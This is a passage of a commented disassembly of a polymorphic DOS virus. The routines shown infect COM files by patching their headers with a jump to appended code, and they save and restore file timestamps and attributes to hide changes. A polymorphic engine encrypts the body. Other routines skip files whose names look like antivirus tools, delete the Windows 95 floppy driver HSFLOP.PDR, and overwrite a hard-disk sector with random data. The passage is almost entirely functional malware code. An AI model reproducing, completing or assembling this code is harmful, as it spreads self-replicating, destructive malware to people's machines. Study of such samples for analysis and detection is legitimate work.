05D2 movsw ; Mov [si] to es:[di]
05D3 call sub_23 ;// Polymorphism (0992)
05D6 jc loc_ret_56 ; Jump if carry Set
05D8 xor cx,cx ; Zero register
05DA mov dx,cx
05DC mov ax,4200h
05DF call sub_5 ; (02C5)
05E2 call sub_44 ; (1224)
05E5 mov dx,1E6Ah
05E8 mov ah,40h ; '@'
05EA mov cx,1Ch
05ED call sub_5 ; (02C5)
05F0 loc_ret_56: ; xref 9804:04F3, 055A, 0565, 05D6
05F0 retn
sub_8 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:04A0, 1297
;==========================================================================
;------------------- Reloc COM header ---------------------------------
05F1 sub_9 proc near
05F1 mov data_48,0 ; (9804:0179=1)
05F6 cld ; Clear direction
05F7 mov di,16Bh
05FA mov si,1E6Ah
05FD call sub_47 ; (1346)
0600 jc loc_57 ; Jump if carry Set
0602 mov cx,3
0605 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
0607 mov dx,cx
0609 mov ax,4202h
060C call sub_5 ; (02C5)
060F or dx,dx ; Zero ?
0611 jz loc_58 ; Jump if zero
0613 loc_57: ; xref 9804:0600, 0619
0613 stc ; Set carry flag
0614 jmp short loc_ret_60 ; (0668)
0616 loc_58: ; xref 9804:0611
0616 cmp ax,1Eh
0619 jb loc_57 ; Jump if below
061B xor cx,cx ; Zero register
061D mov dx,cx
061F mov ax,4202h
0622 call sub_5 ; (02C5)
0625 cmp ax,0D995h
0628 jb loc_59 ; Jump if below
062A stc ; Set carry flag
062B jmp short loc_ret_60 ; (0668)
062D loc_59: ; xref 9804:0628
062D mov data_78,ax ; (9804:0E6E=9)
0630 add data_78,100h ; (9804:0E6E=9)
0636 mov word ptr ds:[1],ax ; (9804:0001=9)
0639 add word ptr ds:[1],100h ; (9804:0001=9)
063F , mov di,offset data_41 ; (9804:0168=90h)
0642 mov byte ptr [di],0E9h
0645 sub ax,3
0648 add ax,1E6Ah
064B mov [di+1],ax
064E call sub_23 ;// Polymorphism (0992)
0651 jc loc_ret_60 ; Jump if carry Set
0653 xor cx,cx ; Zero register
0655 mov dx,cx
0657 mov ax,4200h
065A call sub_5 ; (02C5)
065D mov cx,3
0660 mov dx,168h
0663 mov ah,40h ; '@'
0665 call sub_5 ; (02C5)
0668 loc_ret_60: ; xref 9804:0614, 062B, 0651
0668 retn
sub_9 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0456, 1046, 1256
;==========================================================================
0669 sub_10 proc near
0669 mov ax,5700h
066C call sub_5 ; (02C5)
066F mov cs:data_51,cx ; (9804:017E=61F7h)
0674 mov word ptr cs:data_51+2,dx ; (9804:0180=2099h)
0679 retn
sub_10 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:04AF, 1064, 12AD
;==========================================================================
067A sub_11 proc near
067A mov ax,5701h
067D mov cx,cs:data_51 ; (9804:017E=61F7h)
0682 mov dx,word ptr cs:data_51+2 ; (9804:0180=2099h)
0687 call sub_5 ; (02C5)
068A retn
sub_11 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0434, 1010
;==========================================================================
068B sub_12 proc near
068B mov ax,4300h
068E call sub_5 ; (02C5)
0691 mov cs:data_56,cx ; (9804:0186=9804h)
0696 mov ax,4301h
0699 xor cx,cx ; Zero register
069B call sub_5 ; (02C5)
069E retn
sub_12 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:04B7, 106C
;==========================================================================
069F sub_13 proc near
069F mov ax,4301h
06A2 mov cx,cs:data_56 ; (9804:0186=9804h)
06A7 call sub_5 ; (02C5)
06AA retn
sub_13 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0731, 1341
;==========================================================================
06AB sub_14 proc near
06AB push ds
06AC push cs
06AD pop ds
06AE cld ; Clear direction
06AF , mov si,offset data_67 ; (9804:0748='LP.EXED.COME')
06B2 sub bx,4
06B5 jc loc_61 ; Jump if carry Set
06B7 mov ax,[si]
06B9 cmp ax,4254h
06BC stc ; Set carry flag
06BD jz loc_61 ; Jump if zero
06BF cmp ax,2D46h
06C2 je loc_63 ; Jump if equal
06C4 cmp ax,5649h
06C7 je loc_63 ; Jump if equal
06C9 cmp ax,4843h
06CC je loc_62 ; Jump if equal
06CE mov al,56h ; 'V'
06D0 , mov di,offset data_67 ; (9804:0748='LP.EXED.COME')
06D3 mov cx,bx
06D5 inc cx
06D6 repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
06D8 or cx,cx ; Zero ?
06DA stc ; Set carry flag
06DB jnz loc_61 ; Jump if not zero
06DD , mov di,offset data_67 ; (9804:0748='LP.EXED.COME')
06E0 , mov si,offset data_68 ; (9804:0755=43h)
06E3 mov cx,bx
06E5 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
06E7 or cx,cx ; Zero ?
06E9 stc ; Set carry flag
06EA jz loc_61 ; Jump if zero
06EC clc ; Clear carry flag
06ED loc_61: ; xref 9804:06B5, 06BD, 06DB, 06EA
06ED pop ds
06EE retn
06EF loc_62: ; xref 9804:06CC
06EF or data_59,2 ; (9804:018C=4)
06F4 pop ds
06F5 retn
06F6 loc_63: ; xref 9804:06C2, 06C7
06F6 or byte ptr ds:data_17e,1 ; (0000:018C=0)
06FB stc ; Set carry flag
06FC pop ds
06FD retn
sub_14 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0437, 101C
;==========================================================================
06FE sub_15 proc near
06FE push ds
06FF pop es
0700 xor al,al ; Zero register
0702 mov di,dx
0704 xor cx,cx ; Zero register
0706 mov cl,0FFh
0708 mov bx,cx
070A cld ; Clear direction
070B repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
070D dec di
070E dec di
070F sub bx,cx
0711 mov cx,bx
0713 std ; Set direction flag
0714 mov al,5Ch ; '\'
0716 repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
0718 sub bx,cx
071A mov cx,bx
071C inc di
071D mov al,es:[di]
0720 cmp al,5Ch ; '\'
0722 jne loc_64 ; Jump if not equal
0724 inc di
0725 mov si,di
0727 , mov di,offset data_67 ; (9804:0748='LP.EXED.COME')
072A dec cx
072B dec bx
072C cld ; Clear direction
072D push cs
072E pop es
072F rep movsb ; Rep when cx >0 Mov [si] to es:[di]
0731 call sub_14 ; (06AB)
0734 retn
0735 loc_64: ; xref 9804:0722
0735 mov bx,0Ah
0738 push cs
0739 pop es
073A retn
sub_15 endp
073B dec sp
073C push ax
073D db '.EXE9E.EXE'
0747 db 0
0748 data_67 db 'LP.EXED.COME', 0 ; xref 9804:0441, 06AF, 06D0, 06DD
; 0727, 1030, 12F7
0755 data_68 db 43h ; xref 9804:06E0
0756 db 4Fh, 4Dh, 4Dh, 41h, 4Eh, 44h
;------- Win95's Floppy drive driver (?) -----------------------------------
075C data_69 db '\SYSTEM\IOSUBSYS\HSFLOP.PDR', 0 ; xref 9804:07C4
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0106, 04C6, 04E1
;==========================================================================
0778 sub_16 proc near
0778 push ds
0779 push dx
077A xor di,di ; Zero register
077C loc_65: ; xref 9804:07D7
077C mov cx,0FFFFh
077F mov ah,62h
0781 int 21h ; DOS Services ah=function 62h
; get Program Segment Prefix bx
0783 mov es,bx
0785 mov es,es:data_1e ; (0000:002C=6Fh)
078A cld ; Clear direction
078B loc_66: ; xref 9804:079C, 07A6
078B mov al,0
078D repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
078F mov ax,es:[di]
0792 or al,al ; Zero ?
0794 jz loc_68 ; Jump if zero
0796 and ax,0DFDFh
0799 cmp ax,4957h
079C jne loc_66 ; Jump if not equal
079E mov al,es:[di+2]
07A2 and al,0DFh
07A4 cmp al,4Eh ; 'N'
07A6 jne loc_66 ; Jump if not equal
07A8 mov al,3Dh ; '='
07AA repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
07AC jcxz loc_68 ; Jump if cx=0
07AE mov si,di
07B0 mov bx,di
07B2 , mov di,offset data_157 ; (9804:1E6A=98h)
07B5 mov dx,di
07B7 push es
07B8 pop ds
07B9 push cs
07BA pop es
07BB loc_67: ; xref 9804:07BF
07BB lodsb ; String [si] to al
07BC stosb ; Store al to es:[di]
07BD or al,al ; Zero ?
07BF jnz loc_67 ; Jump if not zero
07C1 dec di
07C2 push cs
07C3 pop ds
07C4 , mov si,offset data_69 ; (9804:075C='\SYSTEM\IOSUBSYS')
07C7 mov cx,1Ch
07CA rep movsb ; Rep when cx >0 Mov [si] to es:[di]
07CC mov ah,41h ; 'A'
07CE call sub_5 ; (02C5)
07D1 jnc loc_68 ; Jump if carry=0
07D3 cmp al,2
07D5 mov di,bx
07D7 jz loc_65 ; Jump if zero
07D9 stc ; Set carry flag
07DA loc_68: ; xref 9804:0794, 07AC, 07D1
07DA pop dx
07DB pop ds
07DC retn
sub_16 endp
07DD add [bp+si],bl
07DF add bl,[bp+si]
07E1 add al,1Ah
07E3 add dx,[bx+si]
07E5 or [bx+si],dl
07E7 ;* pop cs ; Dangerous-8088 only
07E7 db 0Fh
07E8 adc [bp+di],cl
07EA and [di],cx
07EC and [bx+si],bx
07EE and [bx+di],bx
07F0 and [bp+si],bp
07F2 and [si],bp
07F4 and [bx+si],si
07F6 and [di+21h],cx
07F9 push cx
07FA and [si+21h],dx
07FD db 62h, 21h, 0Bh, 21h, 0Dh, 21h
0803 data_71 dw 2BCDh ; Data table (indexed access)
; xref 9804:086C, 0E4D
0805 db 0CDh, 2Ch,0CDh, 2Dh,0CDh, 28h
080B db 0CDh, 1Ch,0CDh, 08h,0CDh, 0Ah
0811 db 0CDh, 0Bh,0CDh, 0Ch,0CDh, 0Dh
0817 db 0CDh, 0Fh,0CDh, 0Eh,0CDh, 70h
081D db 0CDh, 71h,0CDh, 72h,0CDh, 73h
0823 db 0CDh, 74h,0CDh, 75h,0CDh, 76h
0829 db 0CDh, 77h,0CDh, 01h,0CCh,0CCh
082F data_72 db 'PXS[QYRZW_V^U]' ; xref 9804:0D12
083D db 1Eh, 1Fh, 06h, 07h, 16h, 17h
0843 data_73 dw 0D442h ; xref 9804:097F, 0984
0845 data_74 db 28h ; xref 9804:0860, 0866, 087B, 0881
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:08A0
;==========================================================================
0846 sub_17 proc near
0846 loc_69: ; xref 9804:0864, 087F
0846 call sub_21 ; (093A)
0849 test ah,10h
084C jz loc_72 ; Jump if zero
084E cmp bl,2
0851 je loc_70 ; Jump if equal
0853 cmp bl,4
0856 je loc_71 ; Jump if equal
0858 jmp short loc_72 ; (0897)
085A loc_70: ; xref 9804:0851, 085C
085A add al,40h ; '@'
085C jnc loc_70 ; Jump if carry=0
085E and al,0FEh
0860 cmp al,data_74 ; (9804:0845=28h)
0864 je loc_69 ; Jump if equal
0866 mov data_74,al ; (9804:0845=28h)
0869 push si
086A cbw ; Convrt byte to word
086B xchg bx,ax
086C , mov si,offset data_71 ; (9804:0803=0CDh)
086F mov ax,[bx+si]
0871 pop si
0872 mov bl,2
0874 retn
0875 loc_71: ; xref 9804:0856, 0877
0875 add al,26h ; '&'
0877 jnc loc_71 ; Jump if carry=0
0879 and al,0FEh
087B cmp al,data_74 ; (9804:0845=28h)
087F je loc_69 ; Jump if equal
0881 mov data_74,al ; (9804:0845=28h)
0884 push si
0885 cbw ; Convrt byte to word
0886 xchg bx,ax
0887 , mov si,7DDh ; (9804:07DD=0)
088A mov ah,[bx+si]
088C mov dh,[bx+si+1]
088F mov al,0B4h
0891 mov dl,0CDh
0893 pop si
0894 mov bl,4
0896 retn
0897 loc_72: ; xref 9804:084C, 0858
0897 mov bl,0
0899 retn
sub_17 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A56, 0A76, 0A9A, 0AAA, 0AB2, 0ABD, 0ACF
;==========================================================================
089A sub_18 proc near
089A mov bp,3
089D loc_73: ; xref 9804:08AD, 08B3
089D , dec bp
089E jz loc_ret_76 ; Jump if zero
08A0 call sub_17 ; (0846)
08A3 add cl,bl
08A5 cmp bl,2
08A8 jb loc_75 ; Jump if below
08AA ja loc_74 ; Jump if above
08AC stosw ; Store ax to es:[di]
08AD jmp short loc_73 ; (089D)
08AF loc_74: ; xref 9804:08AA
08AF stosw ; Store ax to es:[di]
08B0 mov ax,dx
08B2 stosw ; Store ax to es:[di]
08B3 loc_75: ; xref 9804:08A8
08B3 jmp short loc_73 ; (089D)
08B5 loc_ret_76: ; xref 9804:089E
08B5 retn
sub_18 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:09AC, 0E82, 146A, 14D3
;==========================================================================
08B6 sub_19 proc near
08B6 xor bx,bx ; Zero register
08B8 loc_77: ; xref 9804:08C3, 08CD
08B8 , push ax
08B9 call sub_21 ; (093A)
08BC mov bl,al
08BE pop ax
08BF mov al,bl
08C1 or bl,bl ; Zero ?
08C3 jz loc_77 ; Jump if zero
08C5 and bl,3
08C8 cmp bl,3
08CB jb loc_ret_78 ; Jump if below
08CD jmp short loc_77 ; (08B8)
08CF loc_ret_78: ; xref 9804:08CB
08CF retn
sub_19 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:00B2, 1729, 1E26
;==========================================================================
08D0 sub_20 proc near
08D0 push cs
08D1 push cs
08D2 pop es
08D3 pop ds
08D4 mov ah,8
08D6 mov dl,80h
08D8 int 13h ; Disk dl=drive 0 ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
08DA , mov bx,data_175e ; (9804:20BA=0)
08DD mov ax,201h
08E0 inc ch
08E2 dec dh
08E4 dec dh
08E6 mov cl,1
08E8 mov dl,80h
08EA int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
08EC jc loc_ret_82 ; Jump if carry Set
08EE call sub_22 ; (095B)
08F1 and al,0Fh
08F3 cmp al,7
08F5 je loc_79 ; Jump if equal
08F7 cmp word ptr [bx],0CCDDh
08FB je loc_ret_82 ; Jump if equal
08FD loc_79: ; xref 9804:08F5
08FD mov cx,100h
0900 mov di,bx
0902 locloop_80: ; xref 9804:090C
0902 call sub_22 ; (095B)
0905 add ax,[di-2]
0908 mov [di],ax
090A inc di
090B inc di
090C loop locloop_80 ; Loop if cx > 0
090E mov word ptr [bx],0CCDDh
0912 loc_81: ; xref 9804:0938
0912 , mov ah,8
0914 mov dl,80h
0916 int 13h ; Disk dl=drive 0 ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
0918 , mov bx,data_175e ; (9804:20BA=0)
091B mov ax,301h
091E inc ch
0920 dec dh
0922 dec dh
0924 mov cl,1
0926 mov dl,80h
0928 int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
092A jc loc_83 ; Jump if carry Set
092C loc_ret_82: ; xref 9804:08EC, 08FB
092C retn
092D loc_83: ; xref 9804:092A
092D mov ax,440Dh
0930 mov bx,180h
0933 mov cx,84Bh
0936 int 21h ; DOS Services ah=function 44h
; IOctl-C block device control
; bl=drive, cx=category/type
; ds:dx ptr to parameter block
0938 jmp short loc_81 ; (0912)
sub_20 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0846, 08B9, 09C5, 0A7C, 0AD8, 0B1C, 0B74
; 0C1F, 0C4C, 0C6F, 0CA8, 0CC2, 0CFE, 0D3D
; 0D74, 0D8C, 0DA5, 0DB5, 0DFC, 0E30, 0E42
; 0E95, 0EC0, 0EEC, 0F1B, 0F2F, 1224, 1233
; 148E, 14C3, 14E9, 1517, 1537, 15AA, 15BC
; 15D9, 160B
;==========================================================================
093A sub_21 proc near
093A push bx
093B mov bx,cs:data_175e ; (9804:20BA=0)
0940 , cmp bx,200h ; (9804:0200=6)
0944 jb loc_84 ; Jump if below
0946 and bx,1
0949 xor bl,1
094C loc_84: ; xref 9804:0944
094C add bx,2
094F mov cs:data_175e,bx ; (9804:20BA=0)
0954 mov ax,cs:data_175e[bx] ; (9804:20BA=0)
0959 pop bx
095A retn
sub_21 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:08EE, 0902
;==========================================================================
095B sub_22 proc near
095B loc_85: ; xref 9804:098B, 098F
095B xor al,al ; Zero register
095D out 43h,al ; port 43h, 8253 timer control
; al = 0, latch timer0 count
095F jmp short $+2 ; delay for I/O
0961 in al,40h ; port 40h, 8253 timer 0 clock
0963 mov ah,al
0965 in al,40h ; port 40h, 8253 timer 0 clock
0967 xor al,ah
0969 xchg al,ah
096B push cx
096C mov cl,ah
096E and cl,0Fh
0971 rol ax,cl ; Rotate
0973 mov cx,ax
0975 and cx,7FFh
0979 locloop_86: ; xref 9804:097C
0979 jmp short $+2 ; delay for I/O
097B nop
097C loop locloop_86 ; Loop if cx > 0
097E pop cx
097F xor cs:data_73,ax ; (9804:0843=0D442h)
0984 add ax,cs:data_73 ; (9804:0843=0D442h)
0989 or ah,ah ; Zero ?
098B jz loc_85 ; Jump if zero
098D or al,al ; Zero ?
098F jz loc_85 ; Jump if zero
0991 retn
sub_22 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:05D3, 064E
;==========================================================================
;----------------------- Polymorphic Generator ----------------------
0992 sub_23 proc near
0992 push si
0993 push bx
0994 cld ; Clear direction
0995 mov word ptr ds:data_175e,0 ; (9804:20BA=0)
099B xor si,si ; Zero register
099D mov di,1E86h
09A0 mov word ptr ds:[0E6Ch],1C6Ah ; (9804:0E6C=0E6Ah)
09A6 mov ax,data_78 ; (9804:0E6E=9)
09A9 mov data_84,ax ; (9804:0E76=9)
09AC call sub_19 ; (08B6)
09AF mov al,data_114[bx] ; (9804:0FD2=30h)
09B3 mov ah,0E0h
09B5 mov word ptr ds:[0A01h],ax ; (9804:0A01=0E028h)
09B8 mov word ptr ds:[9E3h],ax ; (9804:09E3=0E028h)
09BB xor bl,3
09BE mov al,data_114[bx] ; (9804:0FD2=30h)
09C2 mov byte ptr ds:[0E7Ah],al ; (9804:0E7A=0)
09C5 call sub_21 ; (093A)
09C8 mov byte ptr ds:[0F5Dh],al ; (9804:0F5D=64h)
09CB mov byte ptr ds:[24h],al ; (9804:0024=0A9h)
09CE mov data_82,ah ; (9804:0E74=2Dh)
09D2 pop bx
09D3 push bx
09D4 mov word ptr ds:[0Dh],0F72Eh ; (9804:000D=0F72Eh)
09DA mov byte ptr ds:[0Fh],15h ; (9804:000F=15h)
09DF mov cx,14h
09E2 locloop_87: ; xref 9804:09E6
09E2 lodsb ; String [si] to al
09E3 sub al,ah
09E5 stosb ; Store al to es:[di]
09E6 loop locloop_87 ; Loop if cx > 0
09E8 mov cx,1ECh
09EB locloop_88: ; xref 9804:0A04, 0A1E, 0A2C
09EB , lodsb ; String [si] to al
09EC cmp si,1A3h
09F0 jb loc_89 ; Jump if below
09F2 xchg byte ptr ds:[0F5Dh],ah ; (9804:0F5D=64h)
09F6 xor al,ah
09F8 add ah,1
09FB xchg byte ptr ds:[0F5Dh],ah ; (9804:0F5D=64h)
09FF loc_89: ; xref 9804:09F0
09FF not al
0A01 sub al,ah
0A03 stosb ; Store al to es:[di]
0A04 loop locloop_88 ; Loop if cx > 0
0A06 call sub_38 ; (0E53)
0A09 jc loc_92 ; Jump if carry Set
0A0B mov cx,word ptr ds:[0E6Ch] ; (9804:0E6C=0E6Ah)
0A0F jcxz loc_91 ; Jump if cx=0
0A11 sub cx,200h
0A15 jc loc_90 ; Jump if carry Set
0A17 mov word ptr ds:[0E6Ch],cx ; (9804:0E6C=0E6Ah)
0A1B mov cx,200h
0A1E jmp short locloop_88 ; (09EB)
0A20 loc_90: ; xref 9804:0A15
0A20 add cx,200h
0A24 mov word ptr ds:[0E6Ch],0 ; (9804:0E6C=0E6Ah)
0A2A mov dx,cx
0A2C jmp short locloop_88 ; (09EB)
0A2E loc_91: ; xref 9804:0A0F
0A2E call sub_39 ; (0E81)
0A31 call sub_31 ; (0CA4)
0A34 call sub_24 ; (0A47)
0A37 mov dx,1F6Ah
0A3A mov ah,40h ; '@'
0A3C add cx,11h
0A3F nop
0A40 call sub_5 ; (02C5)
0A43 clc ; Clear carry flag
0A44 loc_92: ; xref 9804:0A09
0A44 pop bx
0A45 pop si
0A46 retn
sub_23 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A34
;==========================================================================
0A47 sub_24 proc near
0A47 push bx
0A48 push bp
0A49 mov si,1E86h
0A4C mov di,1F6Ah
0A4F xor cx,cx ; Zero register
0A51 call sub_32 ; (0CFE)
0A54 mov bl,4
0A56 call sub_18 ; (089A)
0A59 call sub_34 ; (0DA5)
0A5C call sub_36 ; (0E29)
0A5F call sub_29 ; (0C1F)
0A62 call sub_25 ; (0B06)
0A65 call sub_29 ; (0C1F)
0A68 call sub_25 ; (0B06)
0A6B call sub_29 ; (0C1F)
0A6E call sub_25 ; (0B06)
0A71 call sub_29 ; (0C1F)
0A74 mov bl,2
0A76 call sub_18 ; (089A)
0A79 call sub_29 ; (0C1F)
0A7C call sub_21 ; (093A)
0A7F cmp ah,80h
0A82 jb loc_93 ; Jump if below
0A84 movsb ; Mov [si] to es:[di]
0A85 jmp short loc_94 ; (0A90)
0A87 loc_93: ; xref 9804:0A82
0A87 or data_59,10h ; (9804:018C=4)
0A8C sub cl,1
0A8F inc si
0A90 loc_94: ; xref 9804:0A85
0A90 call sub_29 ; (0C1F)
0A93 call sub_28 ; (0BD2)
0A96 mov ch,cl
0A98 mov bl,2
0A9A call sub_18 ; (089A)
0A9D call sub_29 ; (0C1F)
0AA0 movsw ; Mov [si] to es:[di]
0AA1 movsb ; Mov [si] to es:[di]
0AA2 call sub_29 ; (0C1F)
0AA5 call sub_33 ; (0D35)
0AA8 mov bl,2
0AAA call sub_18 ; (089A)
0AAD call sub_27 ; (0B74)
0AB0 mov bl,2
0AB2 call sub_18 ; (089A)
0AB5 call sub_29 ; (0C1F)
0AB8 call sub_26 ; (0B1C)
0ABB mov bl,2
0ABD call sub_18 ; (089A)
0AC0 call sub_29 ; (0C1F)
0AC3 mov al,cl
0AC5 sub al,ch
0AC7 mov ch,al
0AC9 lodsw ; String [si] to ax
0ACA sub ah,ch
0ACC stosw ; Store ax to es:[di]
0ACD mov bl,2
0ACF call sub_18 ; (089A)
0AD2 call sub_29 ; (0C1F)
0AD5 call sub_30 ; (0C68)
0AD8 call sub_21 ; (093A)
0ADB and al,7
0ADD add cl,al
0ADF mov ch,0
0AE1 cmp data_48,ch ; (9804:0179=1)
0AE5 je loc_95 ; Jump if equal
0AE7 add data_159,cx ; (9804:1E6C=4E2Dh)
0AEB cmp data_159,200h ; (9804:1E6C=4E2Dh)
0AF1 jb loc_95 ; Jump if below
0AF3 inc data_161 ; (9804:1E6E=2417h)
0AF7 sub data_159,200h ; (9804:1E6C=4E2Dh)
0AFD jnz loc_95 ; Jump if not zero
0AFF dec data_161 ; (9804:1E6E=2417h)
0B03 loc_95: ; xref 9804:0AE5, 0AF1, 0AFD
0B03 pop bp
0B04 pop bx
0B05 retn
sub_24 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A62, 0A68, 0A6E
;==========================================================================
0B06 sub_25 proc near
0B06 push cx
0B07 xor cx,cx ; Zero register
0B09 mov al,byte ptr ds:[0F5Bh] ; (9804:0F5B=0)
0B0C mov cl,al
0B0E shr al,1 ; Shift w/zeros fill
0B10 shr al,1 ; Shift w/zeros fill
0B12 mov byte ptr ds:[0F5Bh],al ; (9804:0F5B=0)
0B15 and cl,3
0B18 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
0B1A pop cx
0B1B retn
sub_25 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0AB8
;==========================================================================
0B1C sub_26 proc near
0B1C call sub_21 ; (093A)
0B1F cmp byte ptr data_97,4 ; (9804:0F60=7)
0B24 jae loc_96 ; Jump if above or =
0B26 xor al,ah
0B28 jp loc_96 ; Jump if parity=1
0B2A movsb ; Mov [si] to es:[di]
0B2B retn
0B2C loc_96: ; xref 9804:0B24, 0B28
0B2C mov bl,data_96 ; (9804:0F5F=3)
0B30 mov bh,0
0B32 cmp byte ptr data_97,6 ; (9804:0F60=7)
0B37 jae loc_98 ; Jump if above or =
0B39 cmp byte ptr data_97,4 ; (9804:0F60=7)
0B3E jae loc_97 ; Jump if above or =
0B40 test al,1
0B42 jnz loc_98 ; Jump if not zero
0B44 loc_97: ; xref 9804:0B3E
0B44 mov dl,1
0B46 mov dh,data_108[bx] ; (9804:0F98=0E8h)
0B4A jmp short loc_99 ; (0B52)
0B4C loc_98: ; xref 9804:0B37, 0B42
0B4C mov dl,0FFh
0B4E mov dh,data_109[bx] ; (9804:0F9F=0C0h)
0B52 loc_99: ; xref 9804:0B4A
0B52 test al,2
0B54 jnz loc_100 ; Jump if not zero
0B56 mov al,81h
0B58 stosb ; Store al to es:[di]
0B59 mov al,dh
0B5B stosb ; Store al to es:[di]
0B5C mov al,dl
0B5E cbw ; Convrt byte to word
0B5F stosw ; Store ax to es:[di]
0B60 inc si
0B61 add cl,3
0B64 retn
0B65 loc_100: ; xref 9804:0B54
0B65 mov al,83h
0B67 stosb ; Store al to es:[di]
0B68 mov al,dh
0B6A stosb ; Store al to es:[di]
0B6B mov al,dl
0B6D stosb ; Store al to es:[di]
0B6E inc si
0B6F add cl,2
0B72 retn
sub_26 endp
0B73 retn
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0AAD, 1559
;==========================================================================
0B74 sub_27 proc near
0B74 call sub_21 ; (093A)
0B77 xor al,ah
0B79 jns loc_101 ; Jump if not sign
0B7B movsb ; Mov [si] to es:[di]
0B7C retn
0B7D loc_101: ; xref 9804:0B79
0B7D mov bl,byte ptr ds:[0F5Dh] ; (9804:0F5D=64h)
0B81 mov bh,0
0B83 cmp byte ptr ds:[0F5Ch],80h ; (9804:0F5C=0FFh)
0B88 nop
0B89 ja loc_103 ; Jump if above
0B8B test al,1
0B8D jnz loc_102 ; Jump if not zero
0B8F mov dl,1
0B91 mov dh,data_108[bx] ; (9804:0F98=0E8h)
0B95 jmp short loc_105 ; (0BB1)
0B97 loc_102: ; xref 9804:0B8D
0B97 mov dl,0FFh
0B99 mov dh,data_109[bx] ; (9804:0F9F=0C0h)
0B9D jmp short loc_105 ; (0BB1)
0B9F loc_103: ; xref 9804:0B89
0B9F test al,1
0BA1 jnz loc_104 ; Jump if not zero
0BA3 mov dl,1
0BA5 mov dh,data_109[bx] ; (9804:0F9F=0C0h)
0BA9 jmp short loc_105 ; (0BB1)
0BAB loc_104: ; xref 9804:0BA1
0BAB mov dl,0FFh
0BAD mov dh,data_108[bx] ; (9804:0F98=0E8h)
0BB1 loc_105: ; xref 9804:0B95, 0B9D, 0BA9
0BB1 test al,2
0BB3 jnz loc_106 ; Jump if not zero
0BB5 mov al,81h
0BB7 stosb ; Store al to es:[di]
0BB8 mov al,dh
0BBA stosb ; Store al to es:[di]
0BBB mov al,dl
0BBD cbw ; Convrt byte to word
0BBE stosw ; Store ax to es:[di]
0BBF inc si
0BC0 add cl,3
0BC3 retn
0BC4 loc_106: ; xref 9804:0BB3
0BC4 mov al,83h
0BC6 stosb ; Store al to es:[di]
0BC7 mov al,dh
0BC9 stosb ; Store al to es:[di]
0BCA mov al,dl
0BCC stosb ; Store al to es:[di]
0BCD inc si
0BCE add cl,2
0BD1 retn
sub_27 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A93
;==========================================================================
0BD2 sub_28 proc near
0BD2 cmp byte ptr ds:[0F5Ch],80h ; (9804:0F5C=0FFh)
0BD7 nop
0BD8 ja loc_ret_110 ; Jump if above
0BDA push dx
0BDB mov dx,1E6Ah
0BDE mov al,byte ptr ds:[0F5Ch] ; (9804:0F5C=0FFh)
0BE1 and al,7
0BE3 cbw ; Convrt byte to word
0BE4 inc ax
0BE5 add dx,ax
0BE7 mov bl,data_97 ; (9804:0F60=7)
0BEB cmp bl,6
0BEE je loc_107 ; Jump if equal
0BF0 test bl,1
0BF3 jnz loc_107 ; Jump if not zero
0BF5 dec dx
0BF6 loc_107: ; xref 9804:0BEE, 0BF3
0BF6 mov ah,al
0BF8 xor bx,bx ; Zero register
0BFA mov bl,byte ptr ds:[0F5Dh] ; (9804:0F5D=64h)
0BFE mov al,81h
0C00 stosb ; Store al to es:[di]
0C01 test ah,1
0C04 jz loc_108 ; Jump if zero
0C06 mov al,data_108[bx] ; (9804:0F98=0E8h)
0C0A stosb ; Store al to es:[di]
0C0B mov ax,dx
0C0D neg ax
0C0F stosw ; Store ax to es:[di]
0C10 jmp short loc_109 ; (0C1A)
0C12 loc_108: ; xref 9804:0C04
0C12 mov al,data_109[bx] ; (9804:0F9F=0C0h)
0C16 stosb ; Store al to es:[di]
0C17 mov ax,dx
0C19 stosw ; Store ax to es:[di]
0C1A loc_109: ; xref 9804:0C10
0C1A add cl,4
0C1D pop dx
0C1E loc_ret_110: ; xref 9804:0BD8
0C1E retn
sub_28 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0A5F, 0A65, 0A6B, 0A71, 0A79, 0A90, 0A9D
; 0AA2, 0AB5, 0AC0, 0AD2
;==========================================================================
0C1F sub_29 proc near
0C1F call sub_21 ; (093A)
0C22 test al,20h ; ' '
0C24 jz loc_ret_114 ; Jump if zero
0C26 test al,8
0C28 jz loc_111 ; Jump if zero
0C2A and ah,3
0C2D add ah,1
0C30 mov al,0EBh
0C32 stosw ; Store ax to es:[di]
0C33 add cl,2
0C36 mov al,ah
0C38 jmp short loc_112 ; (0C4A)
0C3A loc_111: ; xref 9804:0C28
0C3A and ah,3
0C3D add ah,1
0C40 mov al,0E9h
0C42 stosb ; Store al to es:[di]
0C43 mov al,ah
0C45 cbw ; Convrt byte to word
0C46 stosw ; Store ax to es:[di]
